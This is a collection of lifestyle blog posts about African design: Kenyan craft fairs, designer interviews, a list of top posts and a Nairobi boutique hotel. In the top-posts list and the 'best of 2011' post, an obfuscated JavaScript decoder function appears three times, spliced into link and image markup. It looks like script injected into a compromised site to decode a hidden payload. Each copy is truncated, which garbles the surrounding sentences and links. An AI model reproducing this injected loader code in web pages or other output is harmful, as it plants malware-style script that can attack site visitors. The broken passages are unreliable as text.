A few of my favourite things: Kenyan design brands

Nairobi this past November was a feast for the eyes, thanks to some of my favourite Kenyan design brands! I participated in several fairs which, gave me the opportunity to check out the great work of my peers.

The photos below were taken at Biz Baz, XmasBoX, Spring Valley Bazaar and the Ichyulu Pop Up at Zen Garden. This list is by no-means exhaustive!

I’m participating in 2 more events this year: a special Christmas evening at Nook Cafe on Thursday (14th December) and Pop-Up & Chill Handmaker’s Market, this Sunday (17th December). Come through to hang out, discover some new brands, and get your last-minute Christmas gifts and treats!

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Interview with Writer and Editor, Nana Ocran (In Anticipation of Afrofuture at Milan Design Week)

Nana Ocran is a London-based writer and editor who specialises in contemporary African culture. Under her belt is the Time Out Group's series of guides to Lagos and Abuja (Nana was Editor-in-Chief) along with consulting gigs for established publications on West African culture for the Danish Film Institute, Arts Council England and the Institute of International Visual Arts. Furthermore, Nana was nominated for CNN's African Journalist of the Year in 2011.

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Inspired by: Architecture, Interior Design and Furniture by Ministero del Gusto

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In Marrakech's Medina sits Ministero del Gusto, a showroom for one-off furniture, jewel design and vintage fashion, featuring artists from all over the world . As well as a gallery, Ministero del Gusto is a studio that works on house renovations, interior decoration and house planning projects, creating work that is contemporary with a strong Moroccan influence.

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3 Years of Afri-love: Top Posts from the Last Year

I am embarassed to say that Afri-love’s 3rd anniversary just slipped by me! On June 11th, I was on a train back from London after modelling in the Shape Custom Creations Afrika Milele show (one of the most exciting fashion shows I’ve experienced – the epitomé of good vibes!). In my exhaustion, I forgot what a great moment it was.

As they say, better late than never. It’s quite timely actually because, after 2 months or so of travelling, returning, catching up and getting back to 'normal' routine, I'm finally back in the groove of things. You may have noticed that post frequency is starting to pick up again! It's fitting that we get things going with, first, some thanks – a HUGE THANK YOU for reading and interacting with me, here on the blog, by subscribing and via Twitter and Facebook too – it all makes this labour of love so much more satisfying and; second, a little reflection with a look at the top 5 posts from the past year. In reverse order:

5. Interview with furniture designer Yinka Ilori

A great story about pursuing your passion, no matter the naysayers!

Afri-love-Top-Posts-2011-2012-African-Inspiration-on-Pinterest-from-Artist-Robyn-Gordon

4. African inspiration on Pinterest from artist Robyn Gordon

Regular readers will know just how obsessed I am with Pinterest (see for yourself). Robyn Gordon is somebody you have to follow.

Afri-love-Top-Posts-2011-2012-Interview-with-Feminist-Activist-Amina-Doherty

3. Interview with feminist activist Amina Doherty

The passionate Amina, aka sheroxlox, is one of the lovliest people I've had the honour to meet in recent years. Find out what drives her.

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2. Interview with fashion designer Adele Dejak

I've been working with the East Africa-based designer for a little over a year now and I feel so lucky to be collaborating with somebody who creates beautiful things and has such a good spirit too. Today marks the launch of her new website and online shop, created by yours truly and the rest of the Asilia team.

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function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-interior-design-in-lamu-kenya.html" target="_blank">1. Dream Homes: Swahili-inspired architecture and interior design in Lamu, Kenya

One day I will finally visit Lamu in person (and hopefully before the new port is built as, I worry that it will change the nature of the town). Until then, I will lust over all the beautiful homes I've discovered, thanks to my best friend, the internet. More Lamu finds on the blog.

What posts did you enjoy most over the past 12 months?

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For the newbies – check out the top 3 most popular Afri-love posts of all time:

  1. Interview with Fashion Stylist and Blogger, Nancie Mwai
  2. Natural Hair Journey: 10 Months after the Big Chop
  3. 5 Reasons why Ghana will be the next African App Powerhouse – a guest post from Afriapps founder and my Asilia co-conspirator, function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandrew-mugoya.html" target="_blank">Andrew Mugoya

The best of 2011: African and Africa-inspired fashion, interior and furniture design

Hope you've had a great holiday season so far. I thought I'd take these few days before 2012, to put together a recap of some favourite Afri-love posts (yours and mine) from the past year. Today – it's all about design.

The-best-of-2011-interior-furniture-<script type=function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-home-design-Afri-love” border=”0″ class=”asset asset-image at-xid-6a013483832c3b970c0162fe898336970d image-full” src=”http://afri-love.typepad.com/.a/6a013483832c3b970c0162fe898336970d-800wi” title=”The-best-of-2011-interior-furniture-and-home-design-Afri-love" />

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Interview with furniture designer Yinka Ilori of Yinksdesigns

Kekere-chair

I first came across furniture designer Yinka Ilori's work at the African and African- Caribbean Design Diaspora (AACDD) exhibition a couple of months ago. His use of bold colour and pattern drew my eye. I later learned that Yinka specializes in upcycling discarded furniture. Passionately against the unnecessary waste of consumerist culture, Yinka is doing his bit, one piece of furniture at a time. Today, the London-based designer and entrepreneur shares his story.

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La Petite Congolaise at the Re-Loved Lounge

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La Petite Congolaise Re-Loved Chair

I missed the Re-Loved Lounge last month: African & African-Caribbean Design Diaspora designers transformed a space at the annual 100% Design show into a playful sitting area with upcycled furniture.
Laurence Kanza, aka La Petite Congolaise, was one of those designers and she shared a picture for all of us who couldn't be there – a before and after shot of one of her upcycled dining room chairs.

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The best Tribe in Africa

Tribe-Hotel-Kenya-Architecture

During my trip to Kenya in April, I finally properly visited Tribe. A luxury boutique hotel, it refreshingly pays homage to the continent on which it sits. When you walk into most luxury hotels in Nairobi, you wouldn't be blamed for thinking you had stepped right in to New York or London. It almost seems to imply that anything of value must not display any "Africanness." Except perhaps through a little painting of a safari landscape, tucked away in some hallway. With Tribe, Africa is on display in every direction that you look and it's beautiful!

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Their line:
"Tribe takes hospitality back to its essence. Back to the nomadic days when any weary traveller was greeted with warmth, invited to feast and exchange stories, and rest in the comforts of home … a very comfortable home."

And to prove again that being true to yourself brings due reward, Condé Nast Traveller (US & UK) recently selected Tribe for The Hot List 2010, as one of the Hottest Hotels in the World!

Tribe-Hotel-Kenya-room 

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All photos via Tribe except 2nd last row, by Lulu Kitololo, and bottom, from Condé Nast
See more photos on the Tribe Hotel Kenya Facebook page